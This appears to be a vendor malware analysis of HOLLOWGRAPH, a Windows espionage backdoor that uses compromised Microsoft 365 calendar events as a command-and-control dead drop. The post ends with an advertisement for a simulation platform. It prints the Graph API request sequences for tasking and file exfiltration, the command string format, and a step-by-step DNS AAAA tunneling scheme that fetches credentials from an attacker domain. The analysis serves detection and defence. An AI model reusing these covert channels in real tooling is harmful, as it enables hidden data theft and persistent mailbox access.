HOLLOWGRAPH Backdoor Turns Microsoft 365 Calendars Into a C2 Channel

Umut Bayram | 8 MIN READ

| July 29, 2026

Key Takeaways

  • HOLLOWGRAPH is a Windows espionage backdoor delivered as a .NET NativeAOT DLL masquerading as a Brotli library.
  • It uses compromised Microsoft 365 calendar events as a two-way dead drop for tasking and exfiltration.
  • Hybrid RSA-OAEP and AES-256-GCM encryption protects Graph payloads, with separate RSA key pairs for each direction.
  • DNS tunneling over IPv6 AAAA records refreshes Entra ID credentials and preserves mailbox access after secret rotation.
  • Picus Platform lets teams simulate HOLLOWGRAPH attacks and validate security controls against the malware.

HOLLOWGRAPH is a Windows espionage backdoor, delivered as a .NET NativeAOT-compiled DLL, that was first observed in early June 2026 [1].

Its defining trait is that it never talks to an attacker-owned server for command or payload traffic. Instead, it abuses the Microsoft Graph API against a compromised Microsoft 365 mailbox and treats that mailbox's calendar as a two-way dead drop.

Operator tasking arrives as calendar events, stolen files leave as encrypted event attachments, and every event is stamped with a far-future date so it stays out of the mailbox owner's view.

In this analysis, we break down what HOLLOWGRAPH is and walk through how it operates at each stage of its execution flow. In the end, we will show how Picus Platform helps you validate your security controls against this threat.

HOLLOWGRAPH at a Glance

Attribute

Detail

Malware type

Backdoor and data-exfiltration implant (espionage)

First seen

June 2026

Target platform

Windows

File format

.NET NativeAOT-compiled DLL, masquerading as a Brotli library

Commands

get (retrieve tasking), send (exfiltrate files)

Primary C2 channel

Microsoft Graph API against a compromised Microsoft 365 mailbox calendar (dead drop)

Secondary channel

DNS tunneling over IPv6 AAAA records for credential and config refresh

Encryption

Hybrid RSA-OAEP 2048-bit plus AES-256-GCM, separate RSA key pairs per direction

What Is HOLLOWGRAPH Malware?

HOLLOWGRAPH is a Windows backdoor and data-exfiltration implant. Technically, it is a .NET assembly compiled with NativeAOT and shipped as a DLL, and it is loaded on the victim by a separate framework component that acts as the orchestrator.

On disk, the DLL masquerades as a Brotli compression library so it blends in with legitimate dependencies.

The implant is deliberately minimal. It exposes only two commands, get and send, and routes both through Microsoft's own cloud rather than through dedicated attacker infrastructure. This design lets its malicious activity ride inside ordinary enterprise Microsoft 365 traffic.

At its core, HOLLOWGRAPH does three things [1]:

  1. Receives tasking through a dead drop. The get command reads operator commands hidden inside calendar events on a compromised Microsoft 365 mailbox.
  2. Exfiltrates files through the same dead drop. The send command encrypts a target file and uploads it as one or more attachments on a newly created calendar event.
  3. Keeps its cloud access alive. A DNS tunneling channel over the attacker domain cloudlanecdn[.]com pulls down fresh Microsoft Entra ID (Azure AD) credentials and rewrites them into a local configuration file, so that expired or defender-rotated secrets do not sever its access to the mailbox.

How Does HOLLOWGRAPH Malware Work?

HOLLOWGRAPH operates through three core mechanisms: a Graph API dead drop, hybrid encryption, and DNS-based credential refresh.

We will detail these mechanisms in the sections below.

Local Configuration

The binary carries a hardcoded configuration blob. On execution, it writes that configuration to disk as logAzure.txt, a filename chosen to pass as a normal log artifact. The DNS tunneling channel later overwrites individual fields in this same file as credentials rotate.

The configuration holds everything the implant needs to reach its Graph dead drop:

  • Entra ID Tenant ID: Azure AD tenant of the compromised mailbox.
  • Entra ID Client (Application) ID: OAuth2 application identity used for authentication.
  • Entra ID Client Secret: Secret paired with the client ID for client-credentials auth.
  • Target mailbox: Compromised Microsoft 365 mailbox used as the dead drop.
  • C2 DNS domain: cloudlanecdn[.]com, used for the DNS credential-refresh channel.
  • RSA public key (2048-bit): wraps the per-file AES-256 key used to encrypt exfiltrated data before upload (outbound direction).
  • RSA private key (2048-bit): unwraps the AES-256 key needed to decrypt operator tasking pulled from the calendar (inbound direction).

Hybrid Cryptography With Directional Key Separation

HOLLOWGRAPH protects all Graph payloads with a hybrid scheme.

RSA-OAEP (SHA-256) wraps a freshly generated AES-256 key, and the payload itself is sealed with AES-256-GCM.

The important design choice is that inbound and outbound traffic use independent RSA key pairs. Tasking that the implant decrypts uses one key pair, and files it exfiltrates use another, so the two directions stay cryptographically separate.

Microsoft Graph API C2: The Calendar Dead Drop

Both HOLLOWGRAPH commands (get and send) operate on the compromised mailbox's calendar over Microsoft Graph.

Every event the malware touches is fixed to a single far-future window, 2050-05-13 from 22:00 to 23:00 UTC, so the tasking and exfil events sit decades away from anything the mailbox owner would notice.

get: Retrieving Operator Tasking

The get command locates the operator's event in the fixed date window, filters by subject, pulls the attachment, and decrypts it with the RSA private key from the configuration [1]:

# 1. Find operator-planted event(s) in the fixed far-future window, filtered by subject

GET /users/{mailbox}/calendarView

?startDateTime=2050-05-13T22:00:00

&endDateTime=2050-05-13T23:00:00

&$filter=contains(subject,'Event ID: ')


# 2. Expand the matched event to read its metadata

GET /users/{mailbox}/events/{event-id}?$expand&$select


# 3. Retrieve the File{n}.txt attachment(s) carrying the encrypted tasking

GET /users/{mailbox}/events/{event-id}/attachments

send: Exfiltrating Files

The send command encrypts a target file with the configured RSA public key and uploads it back to the same calendar.

The event is created first with a throwaway subject, then populated with attachments, then renamed so the operator can spot it [1]:

# 1. Create a placeholder event, initially subjected with a random GUID, dated 2050

POST /users/{mailbox}/calendar/events


# 2. Upload each encrypted chunk as a File{n}.txt attachment

POST /users/{mailbox}/events/{event-id}/attachments


# 3. Rename the subject to an operator-recognizable Boss{..}ID{..} tag

PATCH /users/{mailbox}/events/{event-id}

Each encrypted chunk is base64-encoded and attached as an application/octet-stream file.

Structured Command Invocation

A task retrieved from the calendar dead drop and decrypted is a small JSON object. One recovered example looks like this [1]:

{"cid": "oXhLaJ0ZvtPb9XB", "type": "self", "cmd": "003_;;__,_"}


# Command string layout

<command>_;;_<arg0>_,_<arg1>_,_<arg2>

# _;;_ -> separates the command name from its argument list

# _,_ -> separates the individual arguments from one another


# cmd -> the delimited command string; 003 is a "toggle debug logging" instruction, with empty arguments

DNS Tunneling for Credential Refresh

To keep authenticating to Graph as secrets rotate, the implant pulls fresh values for four Entra ID fields (tenant ID, client ID, client secret, and mailbox) over DNS, then writes them back into logAzure.txt.

All lookups are AAAA (IPv6) queries resolved through the DnsClient.NET library, against specially encoded subdomains of cloudlanecdn[.]com [1].

# LENGTH query, marked with the .p. label ("prime")

{random}.{7charTaskID}.{fieldIndex}.p.cloudlanecdn[.]com

# DATA query, marked with the .q. label

{random}.{7charTaskID}.{fieldIndex}.{byteOffset}.q.cloudlanecdn[.]com


# random -> cache-busting nonce so answers are not served stale

# 7charTaskID -> the 7-character task identifier derived from the command

# fieldIndex -> 0..3, selects which credential field is being fetched

# byteOffset -> running offset into the payload, incremented by 14 per data chunk

To see how reassembly works, consider the implant refreshing the client secret (field index 2) under task ID aB3xK9z, where the returned value is the 30-byte string Hq7ZKp2RtLn6xVc0bYs5aQm8Wd4FgH.

First, the implant issues a LENGTH query and reads the total size from the first 2 bytes of the AAAA answer:

# LENGTH query (.p.) -> "how many bytes is field 2?"

Query: e7f1c.aB3xK9z.2.p.cloudlanecdn[.]com

# AAAA answer: 001e:0000:0000:0000:0000:0000:0000:0000

# first 2 bytes = 0x001e = 30 -> expect 30 bytes, so ceil(30 / 14) = 3 data chunks

It then walks the payload in 14-byte steps, one DATA query per chunk, advancing the offset by 14 each time. Each AAAA answer carries 14 usable payload bytes packed into its 16-byte address:

# chunk 0, offset 0

Query: 9a2d0.aB3xK9z.2.0.q.cloudlanecdn[.]com

# AAAA: 4871:375a:4b70:3252:744c:6e36:7856:0000

# bytes 48 71 37 5a 4b 70 32 52 74 4c 6e 36 78 56 -> "Hq7ZKp2RtLn6xV"


# chunk 1, offset 14

Query: 3b8e6.aB3xK9z.2.14.q.cloudlanecdn[.]com

# AAAA: 6330:6259:7335:6151:6d38:5764:3446:0000

# bytes 63 30 62 59 73 35 61 51 6d 38 57 64 34 46 -> "c0bYs5aQm8Wd4F"


# chunk 2, offset 28 (only 2 bytes remain of the 30)

Query: c14fa.aB3xK9z.2.28.q.cloudlanecdn[.]com

# AAAA: 6748:0000:0000:0000:0000:0000:0000:0000

# bytes 67 48 -> "gH" (remaining bytes ignored once length 30 is reached)

Concatenating the three chunks yields Hq7ZKp2RtLn6xVc0bYs5aQm8Wd4FgH, which the implant decodes as UTF-8 text, stores into the client-secret field, and persists back to logAzure.txt.

The same sequence repeats for field indexes 0, 1, and 3 (tenant ID, client ID, and mailbox), leaving the implant with a full, refreshed credential set.

How Picus Simulates HOLLOWGRAPH Malware Attacks?

We strongly suggest simulating HOLLOWGRAPH Malware Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the HOLLOWGRAPH Malware Attacks:

Threat ID

Threat Name

Attack Module

49009

HOLLOWGRAPH Backdoor Malware Download Threat

Network Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

References

[1] J. Castillo, “HOLLOWGRAPH: Turning Microsoft 365 Calendars into Covert Command-and-Control Channels,” Group-IB. Accessed: Jul. 24, 2026. [Online]. Available: https://www.group-ib.com/blog/hollowgraph-microsoft-365/

 
HOLLOWGRAPH is a Windows espionage backdoor and data-exfiltration implant first observed in June 2026. It is a .NET assembly compiled with NativeAOT and shipped as a DLL that masquerades as a Brotli compression library on disk. A separate framework component acts as the orchestrator and loads the implant on the victim host.
HOLLOWGRAPH never contacts an attacker-owned server for command or payload traffic. It authenticates to the Microsoft Graph API against a compromised Microsoft 365 mailbox and treats that mailbox's calendar as a two-way dead drop. Operator tasking arrives as calendar events, and stolen files leave as encrypted event attachments, so activity blends into ordinary enterprise Microsoft 365 traffic.
The implant is deliberately minimal and exposes only two commands. The get command locates operator-planted calendar events, filters them by subject, retrieves the File{n}.txt attachments, and decrypts the tasking. The send command encrypts a target file, creates a calendar event with a throwaway GUID subject, uploads the encrypted chunks as attachments, then renames the subject to an operator-recognizable tag.
Every event the malware touches is fixed to a single far-future window, 2050-05-13 from 22:00 to 23:00 UTC. Tasking and exfiltration events therefore sit decades away from anything the mailbox owner would notice. The hardcoded configuration is also written to disk as logAzure.txt, a filename chosen to pass as a normal log artifact.
All Graph payloads are protected with a hybrid scheme. RSA-OAEP with SHA-256 wraps a freshly generated AES-256 key, and the payload itself is sealed with AES-256-GCM. Inbound and outbound traffic use independent 2048-bit RSA key pairs, so decrypted tasking and exfiltrated files stay cryptographically separate. Each encrypted chunk is base64-encoded and attached as an application/octet-stream file.
DNS tunneling keeps the implant's cloud access alive as secrets rotate. Fresh values for four Entra ID fields, tenant ID, client ID, client secret, and mailbox, are pulled over AAAA (IPv6) queries against encoded subdomains of cloudlanecdn[.]com, then written back into logAzure.txt. Expired or defender-rotated credentials therefore do not sever access to the dead drop mailbox.
The Picus Threat Library includes threat ID 49009, HOLLOWGRAPH Backdoor Malware Download Threat, under the Network Infiltration attack module. Simulating this threat with the Picus Platform validates whether security controls detect and prevent the malware.

Table of Contents

Ready to start? Request a demo